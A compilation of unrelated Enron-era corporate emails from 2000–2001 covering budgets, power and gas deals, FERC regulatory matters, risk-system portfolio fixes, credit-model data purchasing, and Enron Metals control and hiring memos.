
Please call me if you have any questions.

Laine Lobban
719-520-4344
719-331-3379 (cell)

******************************************************************
This email and any files transmitted with it from the ElPaso
Corporation are confidential and intended solely for the
use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the
sender.
******************************************************************


Guys, we need your final review on next years budget (direct expense) for MW
Gas (Luce) and LT Gas Fundamentals/Transport Capacity (Gomez) done today.  We
are running out of time to finalize the budgeting process.  I would much
appreciate your assistance.

Regards
Delainey


Mark -

I realize that this is not particularly timely.  Let me know when you want it
during the month and we will update accordingly.

The three projects listed are clearly the focus of EGA Legal (excl. South
America).

Bruce


Dear CYNTHIA,

Your user account has been activated in the Learning Management System.

You may log in to the system by using your email address and date of birth as your login ID/password.

Thank you.


Definitely take off and meet Scott at the airport.  I know that you will be
glad to see him.

	Enron North America Corp.

	From:  Patti Thompson                           03/22/2000 08:33 AM

To: Sally Beck/HOU/ECT@ECT
cc:
Subject: I need to leave office early today

Sally,

If you don't mind, I'd like to leave early today (2 or 3 pm) to pick up Scott
(my son) at the airport.  He went to Denver to visit his sister for spring
break & was scheduled to come back Monday evening.  Unfortunately, due to
winter storm, all flights were cancelled Monday & most of Tuesday.  I wasn't
able to get him a flight back until this morning.  Scott, however, was not
too disappointed in missing 3 days of school (instead of 1 that we planned).
Anyway, if it's okay with you, I will let your direct reports know that Irena
will have numbers where they can reach you.

PT


Here are the deal numbers, with correct counterparty names and MW hours. I
changed deal 467455 and added one new forward:

467455
10 MW
175.00
Palo Verde
Southern Company Energy Marketing

469098
50 MW
175.00
Palo Verde
Sempra Energy Marketing

Please let me know if there are anymore questions.

Thanks,
Kate

Kimberly Hundl@ENRON
11/29/2000 07:02 AM
To: Kate Symes/PDX/ECT@ECT
cc:

Subject: Deal #467455 New Counterparty

Hi Kate,
Just checking on this deal.  Is this gonna be an exchange for physical and
the counterparty name will be added later?  It's been "new" for a couple of
days now, which is fine, I just wanted to make sure someone is working on it.
Thanks,
Kim


The request has been completed with all resources requested either completed or rejected. You can view the details of the  request by clicking http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000080553&Page=MyReq.


The Gas NOPR/NOI is not on the agenda for the upcoming FERC meeting.  That's
good news from the standpoint that it gives us time to present a proposal on
pricing ROFR.

I also thought that you would be interested to know that Gay Friedmann and
Lorraine Cross are meeting next week with McLane Layton (the potential FERC
replacement).  So while Jerry Halvorsen reports that INGAA will likely take
no position, it sounds like INGAA staffers are moving forward at meeting the
candidates.  That makes me feel more comfortable moving forward with out
Enron call with Ms. Layton.   (FYI - Cynthia also reports that El Paso
actively backed Ms. Layton when her name surfaced during a prior FERC
vacancy).


---------------------- Forwarded by Robin Rodrigue/HOU/ECT on 11/21/2000
03:52 PM ---------------------------

Bilal Bajwa
11/21/2000 03:40 PM
To: Frank Hayden/Corp/Enron@Enron, Susan D Trevino/HOU/ECT@ECT, Chris
Abel/HOU/ECT@ECT, Robin Rodrigue/HOU/ECT@ECT, Ganapathy Ramesh/HOU/ECT@ECT,
Vladimir Gorny/HOU/ECT@ECT
cc:
Subject: Differences in Portfolio!

I compared the different portfolios in RisktRac and came up with the
following changes. Hopefully this would help eliminate some of the
differences amongst the different portfolios ....

FT-Peoples needs to be removed from P Keavey - Currently it is being double
counted in P Keavey and J Williams.

The following books to be added to AGG-GASII
FT-CAND-EGSC-OPT-BAS
FT-CAND-EGSC-OPT-PRC
FT-HPLC-BAS
FT-HPLC-PRC
FT-INT-CEN-MKT-GDL

These books to be added to AGG-GASIV, AGG-GASIII and Canada
FT-US/CAND-ERMS-GDL (Under J_McKay - Robin please confirm)

Please let me know if you have any other suggestions/comments to help solve
this problem as soon as possible.

Bilal


As you are probably aware, your department has been selected to participate
in Project GEM (Global Enron Migration) for the rollout of Windows 2000.  In
preparation for this rollout, it is imperative that we gather information
about your workstation and the applications you use.  To begin this data
collection, we have automated the process and your system has just been
inventoried.   Once this information is received, we will be working with
your department co-ordinator, Sheri Cromwell, to consolidate this information
to ensure this transition is as smooth as possible.

The GEM team would like to thank you for your participation.  If you have any
questions, please call Lee Steele at 713-345-8259.


Attached is the summary of the phase 1 testimonies to consider for the
purposes of tomorrow's discussion.

	Joseph Alamo
	05/08/2000 03:22 PM

To: Bruno Gaillard/SFO/EES@EES, Susan J Mara/SFO/EES@EES, Jeff
Dasovich/SFO/EES@EES, bcragg@gmssr.com, Robert Frank/HOU/EES@EES
cc:
Subject: DG Cross Conference Call

On behalf of Bruno Gaillard, please consider this *confirmation* of a a
conference call now scheduled
regarding the above-referenced topic, as noted below:

 Date: Tuesday, May 9, 2000
 Time: 9:00 AM PDT/11:00 AM CDT
 Call-in: (888) 808-8525
 Code: 637137

If you have any questions concerning the above, please do not hesitate to
call
me at (415) 782-7841 or Bruno directly at -7810.

Thanks in advance for your participation.

Joseph Alamo
Sr. Administrative Asst.
San Francisco CA Government Affairs


I think we arrive around 215, so 400 is about as good as we can do.

Kay

From: Suzanne Adams@ECT on 10/12/2000 04:51 PM
To: Kay Mann/Corp/Enron@ENRON
cc:

Subject: Re: Bruce Silvers

Any particular time that's best for NYC?  2:00ish????

	Kay Mann@ENRON
	10/12/2000 04:42 PM

		 To: Suzanne Adams/HOU/ECT@ECT
		 cc:
		 Subject: Re: Bruce Silvers

Please.  Tuesday afternoon is our best bet, in NYC.

Kay

From: Suzanne Adams@ECT on 10/12/2000 04:23 PM
To: Kay Mann/Corp/Enron@Enron
cc:

Subject: Bruce Silvers

Have you spoken to Bruce to tell him you guys are coming Tuesday.  Should I
call and set up a meeting or what?  Please advise.  Thanks, Suz


Louise and Mark,

As we discussed in our meeting last Thursday, set forth below is the most
recent list of the boycott countries for you to take into account when making
the appropriate system changes to prohibit trading with counterparties
located in such countries:

Bahrain

Iraq

Kuwait

Lebanon

Libya

Oman

Qatar

Saudi Arabia

Syria

United Arab Emirates

Republic of Yemen

This list is published quarterly, so we will inform you of any changes to the
list as they are published in the future.

Best regards,

Jeff


David:

We are drafting a credit derivative confirmation in connection with one of
our year-end deals.  Will you or Jean be able to review the confirm with us?
I look forward to hearing from you.

Regards.  Sara


Join Enron Federal Credit Union, and The Foundation for Financial Literacy,
for the 2nd Session of our Financial Wellness Workshop Series:

      Topic:  Use It But Don't Abuse It: Credit
      Thursday, July 13
      11:30 a.m. - 12:30 p.m.
      Doubletree - Allen Center  (LaSalle B Room)
      Cookies and soft drinks will be served.

Upcoming workshops include:
Thursday, August 17  Topic:  Protection Against the Unforeseen:  Insurance &
Personal, Employer and Government Benefits
September (Date TBD*)  Topic:  Rating Them by Risk Versus Reward:  Investments
October (Date TBD*)  Topic:  Living too Long, Dying too Soon, Disability or
Impairment:  Estate Plans

*September and October dates are to be determined.

Reservations are being accepted for the July and August workshops.  Pease
send your reservation via Lotus Mail to Amanda Quiller, or via E-mail to
amanda.quiller@enron.com.  We look forward to seeing you!


IntercontinentalExchange
                                                                                Firm Physical Natural Gas Price Bulletin
                                                                                For Natural Gas Delivered on Tuesday, November  27, 2001
                                                                                (Trade Date of Monday, November  26, 2001)
Click here to access index history


Hello, for future notices Jeff Sorenson is not in my group and does not work
with us.  They don't pass documents on to our group.  If their is a way that
you all can tell if a particular document is related to power and can send me
a copy if it is related to power that would be great.  There was an agreement
with Puget Sound (an intermediate agreement until we get an ISDA signed) that
was given to Jeff Sorenson's group and I never knew it existed.  Therefore I
sent a confirm out incorrectly.
Could you possibly ask one of the runners to bring me a copy of this
assignment?  My location is 3116a.  I would appreciate it.

Thanks alot,
Melissa
3-1886

From: Tana Jones on 08/29/2000 10:08 AM
To: Melissa Ann Murphy/HOU/ECT@ECT
cc:
Subject: Re: Assignment/Merchant Energy Group of the Americas, Inc.

The list of trades was attached to the assignment.  Jeff Sorenson should have
a copy down there.

	Melissa Ann Murphy
	08/29/2000 09:38 AM

		 To: Tana Jones/HOU/ECT@ECT
		 cc:
		 Subject: Re: Assignment/Merchant Energy Group of the Americas, Inc.

I handle power financial transactions.  I wanted to make sure none of the
deals assigned are power financial trades.

Thanks,
Melissa
3-1886

From: Tana Jones on 08/29/2000 09:12 AM
To: Melissa Ann Murphy/HOU/ECT@ECT
cc:
Subject: Re: Assignment/Merchant Energy Group of the Americas, Inc.

My assignment related only to financial transactions.  So it would not be
power deals.

	Melissa Ann Murphy
	08/29/2000 09:04 AM

		 To: Tana Jones/HOU/ECT@ECT
		 cc:
		 Subject: Re: Assignment/Merchant Energy Group of the Americas, Inc.

Hello, please let me know if any of these deals are power deals.  We may need
to change them in the power system (Enpower).  Thank you,
Melissa

From: Tana Jones on 08/15/2000 05:23 PM
To: Bob Bowen/HOU/ECT@ECT, Jefferson D Sorenson/HOU/ECT@ECT, Laurel
Adams/HOU/ECT@ECT, Andrea R Guillen/HOU/ECT@ECT, Willie Harrell/HOU/ECT@ECT,
Larry Joe Hunter/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT, Chris
Walker/HOU/ECT@ECT, David P Dupre/HOU/ECT@ECT, Pamela Sonnier/HOU/ECT@ECT,
Jarrod Cyprow/HOU/ECT@ECT, Sheetal Patel/HOU/ECT@ECT, Gordon
Heaney/Corp/Enron@ENRON, Souad Mahmassani/Corp/Enron@ENRON, William S
Bradford/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, Nidia
Mendoza/HOU/ECT@ECT, Tanya Rohauer/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Rod
Nelson/LON/ECT@ECT, Tracy Ngo/PDX/ECT@ECT, John Suttle/HOU/ECT@ECT, Lesli
Campbell/HOU/ECT@ECT, Molly Harris/HOU/ECT@ECT, Veronica
Espinoza/Corp/Enron@ENRON, Paul Radous/Corp/Enron@ENRON, Wendi
LeBrocq/Corp/Enron@Enron, Brad Schneider/Corp/Enron@Enron, Brent
Hendry/NA/Enron@Enron, Sara Shackleton/HOU/ECT@ECT, Carol St
Clair/HOU/ECT@ECT, Susan Bailey/HOU/ECT@ECT, Mary Cook/HOU/ECT@ECT, Samantha
Boyd/NA/Enron@Enron, Robert Bruce/NA/Enron@Enron, Stephanie
Panus/NA/Enron@Enron, Mary Solmonson/HOU/ECT@ECT, Marilyn
Colbert/HOU/ECT@ECT, Diane Ellstrom/HOU/ECT@ECT, Lynn E Shivers/HOU/ECT@ECT,
Bill D Hare/HOU/ECT@ect, Leslie Reeves/HOU/ECT@ECT, Jason Moore/HOU/ECT@ECT,
Dianne Seib/CAL/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Anthony
Campos/HOU/ECT@ECT, Bernice Rodriguez/HOU/ECT@ECT, Mary G
Gosnell/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT,
Frank L Davis/HOU/ECT@ECT, Carrie Southard/LON/ECT@ECT, Amber
Ebow/HOU/ECT@ECT, Adnan Patel/Corp/Enron@ENRON, Melissa Ann
Murphy/HOU/ECT@ECT, Stacey Richardson/HOU/ECT@ECT, Bridgette
Anderson/Corp/Enron@ENRON
cc:
Subject: Assignment/Merchant Energy Group of the Americas, Inc.

We have received the following executed documents:

Consent to Assignment dated as of June 12, 2000 between Merchant Energy Group
of the Americas, Inc. ("MEGA") and ENA, wherein MEGA assigned to Morgan
Stanley Capital Group, Inc.  its interest in certain financial transactions
it had entered into with ENA; and

Amendment to Consent to Assignment dated as of June 13, 2000 wherein  MEGA,
ENA and Morgan Stanley agreed that the Transactions assigned in the above
Agreement will be governed by the ISDA Master Agreement between ENA and
Morgan Stanley.

Copies will be distributed.


---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/19/2001
04:28 PM ---------------------------
From: Iris Mack/ENRON@enronXgate on 04/19/2001 03:22 PM
To: Scott Salmon/EU/Enron@Enron, Amitava Dhar/Corp/Enron@ENRON
cc: Craig Chaney/HOU/ECT@ECT, Mike Mumford/LON/ECT@ECT, Eric
Kirkpatrick/EU/Enron@Enron, Richard Brent/EU/Enron@Enron, Ben
Parsons/LON/ECT@ECT, George Albanis/LON/ECT@ECT, Vasant
Shanbhogue/ENRON@enronXgate, Vince J Kaminski/HOU/ECT@ECT
Subject: RE: D&B Contact Names

Hi again,

 As, I stated is a prior emails, the contact details for the RiskCalc folks
are as follows:

1.  Marc Brammer
Director of Strategic Sales
tel:  800.523.2627, x5706
mbrammer@MoodysRMS.com

2. Neal Clark
Vice President
Tel:  800.523.2627, x5701
nclark@MoodysRMS.com

 Neal said that he would be willing to set up a meeting between us and their
quants to better understand their model, the various inputs and whether or
not the model can be tweaked for less than the 17 specified inputs.

 Let me know if you guys wish to have Neal set up a conference between
Moody's quants and Enron folks in Houston and London.

Ciao,
Iris

 -----Original Message-----
From:  Salmon, Scott
Sent: Thursday, April 19, 2001 3:00 PM
To: Mack, Iris; Dhar, Amitava
Cc: Chaney, Craig; Mumford, Mike; Kirkpatrick, Eric; Brent, Richard; Parsons,
Ben; Albanis, George
Subject: RE: D&B Contact Names

Iris/Amitava,

I may have already said this, but we've had so many e-mails and telephone
calls flying back and forth that I wanted to make sure I at least got this
much out to you.  Clearly, I would like you to set up the meeting with the
RiskCalc gurus to dig deeper into their methodology (as much as they'll tell)
and the impact of missing variables and any other idiosyncracies the model
may have.  Also try to get a better feel for how well they think the model
extends to other countries.  I know from a previous conversation with Lea
Carty and reading about the model that it was calibrated off North American
names but they suspect it might extend to other countries.  Conversely, I
know they are working efforts within Moody's Risk Management Services to
develop private (and probably public) firm models specific to regions.  One
they mentioned was Australia and also within Western Europe.  Data, as
always, was the issue.  See if the quants have any perspective on their
success/plan in that area.

Lastly, we truly appreciate the aggressive efforts you both have made toward
pushing off this private model initiative and I'm very confident we'll be
able to nail a firm plan down upon receipt of either D&B and/or Experian data.

Cheers,
Scott
---------------------- Forwarded by Scott Salmon/EU/Enron on 19/04/2001 20:51
---------------------------

Mike Mumford@ECT
19/04/2001 17:55
To: Scott Salmon/EU/Enron@Enron
cc:

Subject: RE: D&B Contact Names

---------------------- Forwarded by Mike Mumford/LON/ECT on 19/04/2001 17:59
---------------------------
From: Iris Mack/ENRON@enronXgate on 19/04/2001 09:23 CDT
To: Mike Mumford/LON/ECT@ECT
cc: Amitava Dhar/Corp/Enron@ENRON

Subject: RE: D&B Contact Names

Hi,

 Two RiskCalc sales people made a presentation this week about their product.

 They stated that they could set up a meeting with their quants and our
people to discuss the model input and what happens if we have less than 17
inputs.

Regards,
Iris

 -----Original Message-----
From:  Mumford, Mike
Sent: Thursday, April 19, 2001 1:37 AM
To: Mack, Iris
Subject: RE: D&B Contact Names

Ooops... part II.

I just threw out 12 as a number for something we might develop... it's really
not based on anything.  We know 17 will work for pre-packaged programs.  We
also know there will be a great number of names with less than the full 17...
I assume we would pursue another model (internal or external) to provide
probably less accurate numbers but at least available for names with fewer
inputs.

Mike

From: Iris Mack/ENRON@enronXgate on 18/04/2001 15:02 CDT
To: Mike Mumford/LON/ECT@ECT
cc: Amitava Dhar/Corp/Enron@ENRON, Scott Salmon/EU/Enron@Enron, Eric
Kirkpatrick/EU/Enron@Enron

Subject: RE: D&B Contact Names

Hi Mike,

 Thanks for your email.

 What do you mean by "buying blind  all major data associated with these
specific DUNS numbers"?

 I am puzzled about why you would be looking at 17 vs 12 fields.  I know
RiskCalc requires 17 inputs and seem to apply that the model does not work
for less than 17.  Yesterday the RiskCalc sales people could not guarantte
that their model would work for less than the required 17 data inputs.  They
suggested that this would be a question to direct towards their quants who
developed the model.

Regards,
Iris

 -----Original Message-----
From:  Mumford, Mike
Sent: Wednesday, April 18, 2001 1:20 PM
To: Mack, Iris
Cc: Dhar, Amitava; Salmon, Scott; Kirkpatrick, Eric
Subject: RE: D&B Contact Names

Iris,

Thanks.

After our meeting we stuck around to discuss things a little further.

Specifically with respect to global counterparty names... we have DUNS
cross-references on about 70 of active names (13k out of 18.5k).  We could
greatly accellerate purchase of some useful data by buying blind all major
data associated with these specific DUNS numbers.

Pro  -  Data gets in on names we know we want to review ASAP, but without
resolution on which specific fields are most useful.  We also get to test for
completeness of data (how many have all 17 fields... how many have only 12 of
which fields, etc.).

Con  -  Costs could be significantly higher... buying info we don't know we
need (converse of buying only the 17 fields doesn't seem best answer).  We
would end up buying additional info later... overhead costs and piecemeal
buying will increase costs.  IT development time would be greatly
increased... multiple file formats... developing to unknown maximum size,
etc.... redoing when more data is purchased.

Any thoughts.

Mike


FYI:  EGM has established a fundamentals group that is providing information
on the intranet relating to coal
  and crude markets.

Regards,

Chris Calger

	From:  Jennifer Fraser                           01/09/2001 04:17 PM

To: Christopher F Calger/PDX/ECT@ECT
cc:
Subject: EGM Fundamentals Sites

Here is the info on the EGM sites. IF we can be of any assitance to the
Western team let me know.

Links to the sites are as follows:

Coal - http://egmfundy.dev.corp.enron.com/coal/framework/default.asp

Crude - http://egmfundy.dev.corp.enron.com/crude/framework/default.asp

flash intro - http://egmfundy.dev.corp.enron.com/   *Please note that the
links from this intro are temporarily unavailable so you should use one of
the above links to access the site of your choice.  Feel free to check out to
see the direction we're moving  in  as far as look and feel goes.

Thanks for passing them onto to your team

Jen
34759


I do have some issues with the proposed language and will be discussing the
details with Dale tomorrow.

Elena Kapralova
12/21/99 11:45 AM
To: Mark Taylor/HOU/ECT@ECT
cc: David Forster/LON/ECT@ECT
Subject: Final Validation of Online Products Descriptions

Mark,

could you please have a final glance at  Short and Long Descriptions for the
5th of January EnronOnline launch.
In the file attached are the examples of the following product descriptions:

-  Emissions
-  Weather
-  US Liquids  Financial

If we do not hear from you by the end of the day Wednesday, Dec 22nd, we'll
assume that the descriptions are fine as they are, and no changes are needed.

Thank you,
Elena
Merry Christmas and Happy New Year!


---------------------- Forwarded by David W Delainey/HOU/ECT on 08/01/2000
06:08 PM ---------------------------

	From:  Sheila Knudsen @ ENRON                           08/01/2000 05:33 PM

To: David W Delainey/HOU/ECT@ECT, David Oxley/HOU/ECT@ECT
cc: Cindy Skinner/HOU/ECT@ECT, Sheila Walton/HOU/ECT@ECT, Kim
Melodick/HOU/ECT@ECT, Fran L Mayes/HOU/ECT@ECT
Subject: Status Report - ENA NI/Issues - Manager/Director Level

Attached is a report reflecting the status of ENA Manager/Director level
employees who were rated either Needs Improvement or Issues at the mid-year
process.

We will update this report on a weekly basis.

Let me know if you have any questions regarding this - X36628.


FYI
---------------------- Forwarded by Mike Jordan/LON/ECT on 03/11/2000 14:16
---------------------------

Tim Poullain-Patterson
03/11/2000 14:05
To: Mike Jordan/LON/ECT@ECT
cc:

Subject: Enron Metals : Control Status MINUTES

fyi...
---------------------- Forwarded by Tim Poullain-Patterson/LON/ECT on
03/11/2000 14:07 ---------------------------

Tim Poullain-Patterson
03/11/2000 09:58
To: Michael J Hutchinson/EU/Enron@Enron, Michael Farmer/EU/Enron@ENRON, Ed
Dablin/EU/Enron@Enron, David P Tregar/EU/Enron@Enron, Fernley
Dyson/LON/ECT@ECT, Robert Soeldner/LON/ECT@ECT, Mike Jordan/LON/ECT@ECT,
Andrew Cornfield/LON/ECT@ECT, Howard Carter/EU/Enron@Enron, Kevin
Rhodes/EU/Enron@Enron
cc: Paul Chivers/LON/ECT@ECT, Tom McKeever/EU/Enron@Enron, Michael R
Brown/LON/ECT@ECT

Subject: Enron Metals : Control Status MINUTES

All,

Thank you for your attendance on Monday. I feel that it was a very
constructive session.

I attach minutes - please note various actions - and advise of any omissions
or errors.

Thanks and regards,
Tim
---------------------- Forwarded by Tim Poullain-Patterson/LON/ECT on
02/11/2000 17:01 ---------------------------

Tim Poullain-Patterson
26/10/2000 19:06
To: Michael J Hutchinson/EU/Enron@Enron, Michael Farmer/EU/Enron@ENRON, Tom
McKeever/EU/Enron@Enron, Ed Dablin/EU/Enron@Enron, David P
Tregar/EU/Enron@Enron, Fernley Dyson/LON/ECT@ECT, Paul Chivers/LON/ECT@ECT,
Robert Soeldner/LON/ECT@ECT
cc: Mike Jordan/LON/ECT@ECT, Andrew Cornfield/LON/ECT@ECT, Howard
Carter/EU/Enron@Enron, Kevin Rhodes/EU/Enron@Enron

Subject: Enron Metals : Control Status

All,

Please find attached the proposed agenda for next Tuesday's Control Status
meeting.

A lot has been going on and this is an opportunity for Middle Office Support
to highlight concerns to Commercial Management, ensure that our priorities
are aligned and facilitate planning.

1) The Control Status part of the meeting will focus on:

1.1) Overview - Operational Risk Assessment

 See attached

1.2) Resource Plan

 See memo below detailing new hires we are seeking approval for...

 Also appendices...

 1.2.1) Orgainsation Chart

 1.2.2) Rolling 6-Week AS400 IT Workplan

2) The second part of the meeting will then focus on specific business
issues:

2.1) Inventory Management

2.2) Project Cook

2.3) FX/Rho Methodology

2.4) Remote Offices

Thanks and regards,
Tim

---------------------- Forwarded by Tim Poullain-Patterson/LON/ECT on
26/10/2000 18:06 ---------------------------

Tim Poullain-Patterson
04/10/2000 17:33
To: Howard Carter/EU/Enron@Enron, Kevin Rhodes/EU/Enron@Enron, Andrew
Cornfield/LON/ECT@ECT
cc: Mike Jordan/LON/ECT@ECT, Melissa Pullar/LON/ECT@ECT

Subject: Metals : Additional Headcount Requests

Further to our discussion this morning, please find attached job descriptions
and business justifications for the eight support vacancies and two IT
vacancies we are currently looking to fill:

1) Support : Merchanting & Financial Trading

In summary, these comprise:

Risk Management & Trade Accounting

Merchanting - qual/part qual accountant to support daily P&L production and
analysis (partial coverage for maternity leave)

Merchanting - qual accountant to support month end production, analysis and
reporting as well as daily P&L coverage

Financial Trading - qual/part qual accountant to support daily P&L production
and analysis

See also org chart for Risk & Trade Accounting group

Traffic/Co-ordination

Mainly support for Copper activities in southern hemisphere - partial
replacement for transfer to Operations

Mainly flexible support for Lead, Tin and Zinc (partial coverage for
maternity leave)

See also org chart for Traffic group

Inventory Financing Management

Support implementation of Barclays off balance sheet structure - mainly
tracking flows in/out of structure

ditto

See also org chart for Inventory Financing Management group

2) IT Development

Owing to an increasing development workload including electronic bridging
from AS400-LCH and EOL-AS400, automating the deal blotter, SAP, P&L
analytical tools, inventory management/tracking tools etc...

See attached job descriptions

Approval for these proposed new hires should be obtained from Mike Farmer and
Michael Hutchinson before we seek final sign-off from Michael Brown.

Thanks and regards,
Tim